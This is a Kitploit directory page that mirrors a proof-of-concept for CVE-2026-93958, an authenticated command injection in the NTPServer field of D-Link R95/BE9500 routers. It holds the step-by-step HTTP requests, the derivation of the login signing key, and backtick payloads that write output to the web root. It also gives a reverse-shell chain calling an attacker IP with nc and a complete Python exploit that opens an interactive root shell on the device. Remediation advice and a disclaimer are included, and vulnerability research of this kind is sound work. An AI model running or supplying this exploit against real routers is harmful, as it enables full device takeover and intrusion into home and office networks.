Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-93958 — PoC d'injection de commande authentifiée pour D-Link R95/BE9500 DHMAPI SetTimeSettings, permettant une RCE root via l'injection de backticks dans NTPServer, avec un script d'exploitation complet. | Kitploit
Outils/GitHubGitHub/hackspeak/cve-2026-93958
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionCommandement et ContrôleSécurité Matériel et IoTArticles et Recherche
GitHub
11il y a 9h 29mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
hackspeak/cve-2026-93958

CVE-2026-93958

PoC d'injection de commande authentifiée pour D-Link R95/BE9500 DHMAPI SetTimeSettings, permettant une RCE root via l'injection de backticks dans NTPServer, avec un script d'exploitation complet.

Voir le dépôt

D-Link R95 BE9500 Wi-Fi 7 Smart Router

  • Vendor:D-Link
  • Product:R95
  • Product Model:BE9500
  • Firmware Version:1.01B06
  • Vulnerability Type:Authenticated Command Injection

Description

Le routeur intelligent D-Link R95 BE9500 Wi-Fi 7 (version de firmware BE9500_1.00.16) contient une vulnérabilité d'injection de commandes dans l'interface DHMAPI (SOAP over HTTPS) lors du traitement des requêtes SetTimeSettings. Le champ <NTPServer> contrôlé par l'utilisateur est stocké dans la base de données de configuration sans aucune sanitisation ni validation des métacaractères shell. Par la suite, lorsque la configuration est synchronisée vers UCI (ntpclient.@ntpserver[0].hostname), le service backend vulnérable construit et exécute une commande shell entourée de guillemets doubles via un appel de type system(). En injectant des backticks (```) dans la valeur <NTPServer>, un attaquant peut réaliser une substitution de commande — le shell évalue le contenu injecté avant d'exécuter la commande concaténée, permettant l'exécution de commandes arbitraires avec les privilèges root (uid=0).

L'attaque nécessite une session de gestion web valide (sid) obtenue via un accès authentifié (testé avec le compte administrateur Admin). Cette vulnérabilité est en outre amplifiée par les identifiants par défaut faibles de l'appareil ou par d'éventuels problèmes de contournement d'authentification, élargissant considérablement la surface d'attaque réelle.

Impact

Un attaquant authentifié peut exécuter des commandes arbitraires avec les privilèges root, menant à la compromission totale de l'appareil — notamment la lecture de fichiers sensibles (par exemple le chiffré /etc/rg_config/admin, l'extraction de sauvegardes complètes de configuration), l'installation de portes dérobées persistantes, l'établissement de reverse shells, et le pivotement vers le réseau interne pour des attaques de mouvement latéral.

Vulnerability Details

1. Affected Component and Root Cause

La vulnérabilité réside dans le binaire backend de gestion web /bin/ssi (s'exécutant en tant que root), qui implémente l'interface SOAP DHMAPI.

Source de contamination — le gestionnaire SetTimeSettings (fonction à l'offset 0x6bd84 dans ssi, firmware 1.01B06) :

  • Extrait le champ <NTPServer> de la requête SOAP vers un tampon de pile, limité en longueur à 0x3f (63 octets) — il s'agit d'une limite de taille de tampon, pas d'un contrôle de sécurité.
  • Stocke la valeur telle quelle dans la clé de configuration interne time.value.NTPServer via un setter interne — aucun filtrage ni échappement des métacaractères shell n'est effectué à aucun moment.

Puits de contamination — synchronisation de la configuration vers UCI. ssi synchronise les valeurs de configuration en les concaténant dans des chaînes de commandes shell exécutées via des appels de type system(). Les chaînes de format intégrées trouvées dans le binaire incluent :

root@kitploit:~
uci set %s="%s" > /dev/null

Comme la valeur est entourée de guillemets doubles, le shell effectue une substitution de commande sur les backticks (`) / $() à l'intérieur de la valeur avant d'exécuter la commande concaténée. Étant donné que ssi s'exécute en tant que root, la commande injectée s'exécute avec les privilèges root.

Les preuves temporelles confirment que l'évaluation se produit de manière synchrone dans le chemin de traitement de la requête : injecter `sleep 10` retarde la réponse HTTP d'environ 10 secondes. La valeur empoisonnée persiste en outre dans UCI (ntpclient.@ntpserver[0].hostname) et est ensuite consommée sans guillemets par /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), une faille de durcissement secondaire.

Contraintes d'exploitation (vérifiées) :

2. Authentication Prerequisite (API-AUTH scheme)

Toutes les requêtes DHMAPI doivent porter :

  • Cookie: uid=<session cookie> (issu de la connexion)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • Les en-têtes API-ACTION / SOAPAction correspondant à l'action SOAP, plus User-Agent et Referer (l'absence de UA/Referer produit HTTP 400/500)
  • ts est un horodatage en millisecondes ; l'appareil ne valide pas la fraîcheur, donc une valeur fixe est réutilisable

Dérivation de privkey :

  1. Login / Action=request (signé avec la chaîne de clé statique withoutloginkey) renvoie Challenge, Cookie, PublicKey, SaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (ou le mot de passe en clair lorsque SaltHash est absent)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login avec ce qui précède renvoie <LoginResult>success</LoginResult> ; les requêtes suivantes utilisent Cookie: uid=<step-1 Cookie> signé avec

3. Proof of Concept

Step 1 — Login request (obtain Challenge/Cookie/PublicKey/SaltHash)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

Step 2 — Login (establish session)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Attendu : <LoginResult>success</LoginResult>.

image-20260823160951351

Step 3 — Command injection (write output to web root)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

Step 4 — Retrieve command output

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

Corps de réponse observé :

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

Alternative verification — time-based blind injection

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

La réponse HTTP est retardée d'environ 10 secondes ; un nom de serveur NTP bénin renvoie immédiatement.

Full exploitation — reverse shell

La limite de 63 octets du champ est contournée en écrivant un script en fragments base64 :

  1. Requêtes SetTimeSettings répétées, chacune ajoutant un fragment : `echo -n <b64-fragment> >> /tmp/x`
  2. Décodage : `base64 -d /tmp/x > /tmp/rs.rs`
  3. Contenu de /tmp/rs.rs (noter les espaces obligatoires autour des pipes pour busybox ash) : rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. Déclenchement : `sh /tmp/rs.rs`

Résultat : un shell root interactif (~ #, BusyBox ash) est reçu sur l'écouteur de l'attaquant.

EXP :

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. Root Cause Summary

  1. ssi stocke le champ NTPServer (et les champs frères dans le même gestionnaire) dans la base de données de configuration sans aucune sanitisation ;
  2. La synchronisation de la configuration utilise une concaténation de chaînes shell de style system() avec la valeur entourée de guillemets doubles, ce qui amène le shell à évaluer les backticks / $() dans la valeur ;
  3. ssi s'exécute en tant que root, donc les commandes injectées s'exécutent avec le privilège le plus élevé.

Le même schéma de code produit au moins 7 points d'injection de commandes authentifiés supplémentaires dans ce firmware (TZLocation, DeviceName, DDNS Hostname/Username, client NickName, et une injection de second ordre via SetNetworkSettings), tous vérifiés avec une exécution uid=0(root).

5. Remediation

  • Appliquer une validation stricte par liste blanche ([A-Za-z0-9.-]) aux champs de saisie de type nom d'hôte avant stockage ;
  • Remplacer la concaténation de chaînes system() par l'API libuci (déjà liée dans ssi) ou par des appels de la famille exec* sans shell ;
  • Mettre entre guillemets la variable $HOSTNAME dans /bin/start_ntpclient.sh ;
  • Exécuter le service de gestion web avec des privilèges réduits ;
  • Auditer et corriger uniformément les points d'injection frères listés ci-dessus.

分发镜像说明(中文)

Ce dépôt est un miroir de distribution intermédiaire du PoC de la vulnérabilité CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI command injection) (l'analyse technique se trouve dans le rapport original amont ci-dessus D-Link R95 BE9500.md). Le contenu est mis en miroir depuis le dépôt PoC public amont, à des fins d'archivage et de distribution uniquement. Le PoC est destiné uniquement à la recherche en sécurité, à la validation de vulnérabilités et aux tests autorisés ; ne l'utilisez pas sur des cibles non autorisées.

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95 (BE9500) routeur intelligent Wi-Fi 7
  • Firmware affecté : série BE9500_1.00.16 / 1.01B06
  • Type : injection de commandes OS (CWE-77 / CWE-78) → exécution de commandes arbitraires avec privilèges root
  • CVSS 3.1 : 9.1 (Critical) ; CVSS 4.0 : 8.5 ; CVSS 2.0 : 8.3
  • Surface d'attaque : champ <NTPServer> de la requête SetTimeSettings de l'interface DHMAPI (SOAP over HTTPS)
  • Prérequis : nécessite une session de gestion web valide (après authentification)
  • Composant affecté : backend de gestion web s'exécutant en root /bin/ssi

Principe de base : la fonction de traitement SetTimeSettings de /bin/ssi (offset 0x6bd84) stocke le champ <NTPServer> (limite de longueur 0x3f=63 octets, mais sans aucun filtrage des métacaractères shell) tel quel dans la base de configuration ; lors de la synchronisation de la configuration vers UCI, ssi concatène la valeur dans une chaîne shell du type uci set %s="%s" > /dev/null et l'exécute avec system() — la valeur étant entourée de guillemets doubles, le shell effectue une substitution de commande sur les backticks / $(), et comme ssi s'exécute en root, la commande injectée s'exécute avec tous les privilèges.

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • Cible : D-Link R95 / BE9500 avec firmware non corrigé (équipement de laboratoire) ; nécessite une session de gestion valide (compte administrateur)
  • Dépendances : Python 3 + requests
  • Utilisation :
root@kitploit:~
python r95_exp.py            # interactive root shell (commands run as root on the device)
python r95_exp.py "id"       # run a single command

⚠️ Attention : la limite de longueur du champ d'injection est d'environ 63 octets, et la commande ne doit pas contenir & ; l'EXP injecte directement les commandes ≤54 octets, et pour les commandes plus longues, découpe automatiquement en fragments base64 écrits dans /tmp/x puis décodés et exécutés, la sortie étant écrite dans la racine web /www/e puis récupérée via HTTP.

免责声明 / Disclaimer

Ce PoC est destiné uniquement à l'enseignement, à la recherche en sécurité et aux tests autorisés, et ne doit être exécuté que sur des appareils vous appartenant ou pour lesquels vous disposez d'une autorisation explicite. L'exploitation exécute des commandes arbitraires avec les privilèges root sur l'appareil ; testez dans un environnement de laboratoire jetable.

归属与许可 / Attribution & License

  • Auteur du rapport PoC amont et de l'EXP : FoundTL (dépôt public de recherche sur les vulnérabilités FoundTL/D-Link-R95-BE9500).
  • Le dépôt de distribution utilise la MIT License (voir LICENSE).

参考链接 / References

  • NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-93958
  • Site officiel D-Link : https://www.dlink.com/
Télécharger l’outil
ContrainteRésultat vérifié
Longueur du champ≤ 63 octets acceptés ; 60 octets OK, 80 octets rejetés (HTTP 400)
Caractère &Ne doit pas apparaître (casse la ligne de commande concaténée)
Syntaxe d'injectionBackticks `cmd` vérifiés ; $(cmd) devrait fonctionner de manière équivalente
Contexte d'exécutionuid=0(root) gid=0(root)
Canal de sortiePas d'écho direct ; redirection vers la racine web (> /www/<file>) et récupération via HTTP GET
privkey